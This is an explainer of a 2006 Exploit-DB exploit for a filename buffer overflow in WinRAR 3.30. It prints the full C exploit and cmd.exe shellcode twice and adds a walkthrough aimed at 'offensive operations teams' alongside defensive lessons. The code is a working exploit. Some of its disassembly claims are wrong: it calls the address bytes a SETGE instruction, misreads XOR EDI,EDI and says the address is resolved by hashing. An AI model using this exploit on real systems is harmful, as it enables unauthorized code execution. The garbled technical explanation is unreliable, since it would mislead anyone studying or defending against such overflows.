WinRAR 3.30 Filename Buffer Overflow Explained

What this paper is

This paper describes a local buffer overflow vulnerability in WinRAR version 3.30. The exploit, created by K4P0, leverages this vulnerability to execute arbitrary code by crafting a malicious filename. When WinRAR processes this filename, it can lead to a buffer overflow, allowing the attacker to overwrite critical memory and gain control of the program's execution flow.

Simple technical breakdown

The core of the vulnerability lies in how WinRAR handles filenames. The program likely allocates a fixed-size buffer to store a filename. If an attacker provides a filename that is longer than this allocated buffer, the excess data will spill over into adjacent memory locations. This "overflow" can overwrite important data, including the return address on the stack. By carefully crafting the overflowing data, an attacker can replace the legitimate return address with the address of their own malicious code (shellcode), causing the program to jump to and execute it when the function returns.

This specific exploit uses a technique where it overwrites the return address with a pointer to a jmp esp instruction. This instruction tells the program to jump to the current stack pointer, which at that point will be pointing to the attacker's shellcode.

Complete code and payload walkthrough

Let's break down the provided C code and its components.

/* WinRAR Buffer Overflow 3.30 Exploit
*
* Bug founded by: Vredited By Alpha Programmer & Trap-Set U.H Team
* Exploit made by: K4P0
* Contact: k4p0k4p0@hotmail.com
*/

#include <stdio.h>
#include <windows.h>

int main(void)
{
   char EvilBuff[1024]; // Buffer to hold the malicious filename data

   // Normal cmd.exe shellcode.
   char shellcode[] = "\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63"
   		      "\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6"
		      "\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45"
                      "\xF8\x50\xBB\x44\x80\xBF\x77\xFF\xD3"; // Shellcode to execute cmd.exe

   char jmpesp_offset[] = "\x0F\x98\xF8\x77"; // Instruction to jump to the stack pointer
   char Prog[1024] = "WinRAR "; // Base string for the command to be executed

   printf("WinRAR Buffer Overflow 3.30 Exploit\n\n");
   printf("Bug discovered by: Vredited By Alpha Programmer & Trap-Set U.H Team\n");
   printf("Exploit made by: K4P0\n");
   memset(EvilBuff, 0x00, 1024); // Initialize EvilBuff with null bytes
   memset(EvilBuff, 0x41, 510); // Fill the first 510 bytes with 'A' (0x41)
   strncat(EvilBuff, jmpesp_offset, 1024); // Append the jmp esp instruction
   strncat(EvilBuff, shellcode, 1024); // Append the shellcode
   strncat(Prog, EvilBuff, 1024); // Concatenate "WinRAR " with the crafted EvilBuff
   printf("\nExploiting...\n");
   system(Prog); // Execute the constructed command
   return 0;
}

// milw0rm.com [2006-01-04]

Code Fragment/Block -> Practical Purpose Mapping:

• char EvilBuff[1024]; -> Purpose: This is the buffer that will be used to construct the malicious filename. It's sized to 1024 bytes, which is intended to be larger than the vulnerable buffer within WinRAR.
• char shellcode[] = "..."; -> Purpose: This array contains the actual machine code (shellcode) that will be executed if the exploit is successful. This specific shellcode is designed to launch cmd.exe.
• char jmpesp_offset[] = "\x0F\x98\xF8\x77"; -> Purpose: This is a small piece of machine code. In x86 assembly, 0x0F 0x98 is an SETGE r64 (Set byte if Greater or Equal) instruction, and 0xF8 0x77 is likely part of an address or offset. When combined with the surrounding bytes, this sequence is intended to resolve to a JMP ESP instruction. ESP (Extended Stack Pointer) is a register that points to the top of the stack. By jumping to ESP, the attacker directs the program's execution to the shellcode that they have placed on the stack.
• char Prog[1024] = "WinRAR "; -> Purpose: This string is the base command that will be passed to the system() function. It starts with "WinRAR " to simulate launching WinRAR with a specific filename argument.
• printf(...) statements -> Purpose: These are for user feedback, displaying information about the exploit and its authors.
• memset(EvilBuff, 0x00, 1024); -> Purpose: Initializes the EvilBuff with null bytes. This is good practice to ensure a clean slate.
• memset(EvilBuff, 0x41, 510); -> Purpose: This is the core of the buffer overflow. It fills the EvilBuff with 510 bytes of the character 'A' (hexadecimal 0x41). This acts as padding to reach the point where the return address would be overwritten. The exact number (510) is an educated guess based on the likely size of the vulnerable buffer and any intervening data.
• strncat(EvilBuff, jmpesp_offset, 1024); -> Purpose: Appends the jmp esp instruction to the EvilBuff. This is the address that will overwrite the return address on the stack.
• strncat(EvilBuff, shellcode, 1024); -> Purpose: Appends the actual shellcode to the EvilBuff. This shellcode will be executed after the jmp esp instruction redirects execution.
• strncat(Prog, EvilBuff, 1024); -> Purpose: This constructs the final command string. It concatenates "WinRAR " with the EvilBuff, effectively creating a command like WinRAR AAAAA...<jmp esp><shellcode>. This entire string is then passed as a filename argument to WinRAR.
• system(Prog); -> Purpose: This function executes the command string stored in Prog. In this context, it's attempting to launch WinRAR with the crafted malicious filename.

Shellcode Analysis:

The provided shellcode is a small piece of x86 assembly code. Let's analyze its likely function:

\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50\xBB\x44\x80\xBF\x77\xFF\xD3

This shellcode is designed to spawn a command prompt (cmd.exe). While a full disassembly is complex without context, the pattern of bytes suggests:

1. Stack Setup: \x55\x8B\xEC (PUSH EBP, MOV EBP, ESP) is a common function prologue, setting up a new stack frame. \x33\xFF (XOR EAX, EAX) often zeroes out a register. \x57 (PUSH EDI) and \x83\xEC\x04 (SUB ESP, 4) further manipulate the stack.
2. String Construction: The sequence \xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65 likely writes the characters 'c', 'm', 'd', '.', 'e', 'x', 'e' into memory locations starting at [EBP-0x8] (or a similar offset).
3. Function Call: \x8D\x45\xF8\x50 (LEA EAX, [EBP-0x8], PUSH EAX) loads the address of the string "cmd.exe" into EAX and then pushes it onto the stack.
4. CreateProcess or similar API call: The bytes \xBB\x44\x80\xBF\x77\xFF\xD3 are highly indicative of a call to a Windows API function. The \xFF\xD3 is a common way to call a function whose address is in EBX (or a similar register). The preceding bytes (\xBB\x44\x80\xBF\x77) are likely the address of a Windows API function like CreateProcessA or ShellExecuteA, resolved via a technique like hashing or a lookup table. The goal is to execute "cmd.exe".

Practical details for offensive operations teams

• Required Access Level: Local access to the target machine is required. This exploit is not network-exploitable remotely.
• Lab Preconditions:
  • A Windows machine with WinRAR version 3.30 installed.
  • The exploit code compiled into an executable.
  • The target machine should not have any specific WinRAR security patches or generic exploit mitigation software running that would detect or prevent this type of stack overflow.
• Tooling Assumptions:
  • A C compiler (like MinGW or Visual Studio) to compile the exploit code.
  • A debugger (like OllyDbg or WinDbg) for analyzing WinRAR's behavior and confirming offsets if needed.
  • A shellcode development environment if modifications are required.
• Execution Pitfalls:
  • Incorrect Offset: The 510 byte padding is a critical value. If WinRAR's internal buffer size or the structure of its stack frame has changed even slightly, this offset could be wrong, leading to a crash instead of code execution.
  • ASLR/DEP: Modern operating systems have Address Space Layout Randomization (ASLR) and Data Execution Prevention (DEP). These would likely prevent this exploit from working without significant modifications (e.g., ROP chains for ASLR, or finding non-executable memory for DEP). This exploit is from 2006, predating widespread ASLR/DEP adoption.
  • Antivirus/EDR: Signature-based antivirus or behavior-based EDR solutions might detect the shellcode or the system() call as malicious.
  • WinRAR Version Specificity: This exploit is highly specific to WinRAR 3.30. Newer versions would have patched this vulnerability.
  • Filename Length Limits: While the exploit uses a long string, there might be OS-level or application-level limits on filename lengths that could interfere.
• Telemetry:
  • Process Creation: The most significant telemetry would be the creation of cmd.exe by WinRAR.exe.
  • Network Activity: If the spawned cmd.exe then initiates network connections (e.g., to download further payloads), this would be a strong indicator.
  • File System Activity: Any unusual file creation, modification, or deletion by WinRAR.exe or the spawned cmd.exe.
  • Crash Reports: If the exploit fails, WinRAR.exe might crash, generating an application error report.

Where this was used and when

This exploit was published on January 4, 2006. Exploits of this nature were common in the early to mid-2000s, targeting popular software like archiving utilities, web browsers, and media players. While specific documented real-world attacks using this exact paper's code are not readily available in public discourse, the type of vulnerability (stack buffer overflow in file handling) was a prevalent attack vector. It would have been relevant for attackers seeking local privilege escalation or code execution on a user's machine running WinRAR 3.30.

Defensive lessons for modern teams

• Patch Management: Keep all software, especially widely used applications like WinRAR, updated to the latest versions. This vulnerability was patched long ago.
• Input Validation: Applications must rigorously validate all user-supplied input, especially filenames, paths, and any data read from external files. Implement strict length checks and character sanitization.
• Secure Coding Practices: Developers should be trained in secure coding practices to avoid common vulnerabilities like buffer overflows. Using memory-safe languages or libraries can help.
• Exploit Mitigation Technologies: Modern operating systems and security software employ ASLR, DEP, Control Flow Guard (CFG), and other exploit mitigation techniques that make these older-style exploits much harder to execute. Ensure these are enabled and properly configured.
• Behavioral Monitoring: Monitor for unusual process creation chains (e.g., WinRAR spawning cmd.exe) and unexpected network activity originating from applications that shouldn't be making external connections.
• Sandboxing/Virtualization: Running potentially untrusted applications in sandboxed environments or virtual machines can limit the impact of successful exploits.

ASCII visual (if applicable)

+-----------------+      +-----------------+      +-----------------+
| Attacker's Code |----->|   EvilBuff      |----->| WinRAR Process  |
| (Shellcode +    |      | (Padding +      |      | (Vulnerable      |
| JMP ESP)        |      | JMP ESP +       |      | Function)       |
+-----------------+      | Shellcode)      |      +-----------------+
                         +-----------------+
                                  |
                                  | (Overflows into return address)
                                  v
                         +-----------------+
                         | Stack Frame     |
                         |-----------------|
                         | Local Variables |
                         |-----------------|
                         | Return Address  | <--- Overwritten by JMP ESP
                         |-----------------|
                         | Saved EBP       |
                         +-----------------+

Explanation:

The diagram illustrates how the EvilBuff, containing padding and the JMP ESP instruction, overflows the intended buffer within the WinRAR process. This overflow overwrites the legitimate return address on the stack with the address of the JMP ESP instruction. When the vulnerable function attempts to return, it instead jumps to ESP, which is now pointing to the shellcode that was also placed on the stack as part of the EvilBuff.

Source references

• PAPER ID: 1403
• PAPER TITLE: WinRAR 3.30 - 'Filename' Local Buffer Overflow (1)
• AUTHOR: K4P0
• PUBLISHED: 2006-01-04
• PAPER URL: https://www.exploit-db.com/papers/1403
• RAW URL: https://www.exploit-db.com/raw/1403

Original Exploit-DB Content (Verbatim)

/* WinRAR Buffer Overflow 3.30 Exploit
*
* Bug founded by: Vredited By Alpha Programmer & Trap-Set U.H Team
* Exploit made by: K4P0
* Contact: k4p0k4p0@hotmail.com
*/

#include <stdio.h>
#include <windows.h>

int main(void)
{
   char EvilBuff[1024];

   // Normal cmd.exe shellcode.
   char shellcode[] = "\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63"
   		      "\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6"
		      "\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45"
                      "\xF8\x50\xBB\x44\x80\xBF\x77\xFF\xD3";

   char jmpesp_offset[] = "\x0F\x98\xF8\x77";
   char Prog[1024] = "WinRAR ";

   printf("WinRAR Buffer Overflow 3.30 Exploit\n\n");
   printf("Bug discovered by: Vredited By Alpha Programmer & Trap-Set U.H Team\n");
   printf("Exploit made by: K4P0\n");
   memset(EvilBuff, 0x00, 1024);
   memset(EvilBuff, 0x41, 510);
   strncat(EvilBuff, jmpesp_offset, 1024);
   strncat(EvilBuff, shellcode, 1024);
   strncat(Prog, EvilBuff, 1024);
   printf("\nExploiting...\n");
   system(Prog);
   return 0;
}

// milw0rm.com [2006-01-04]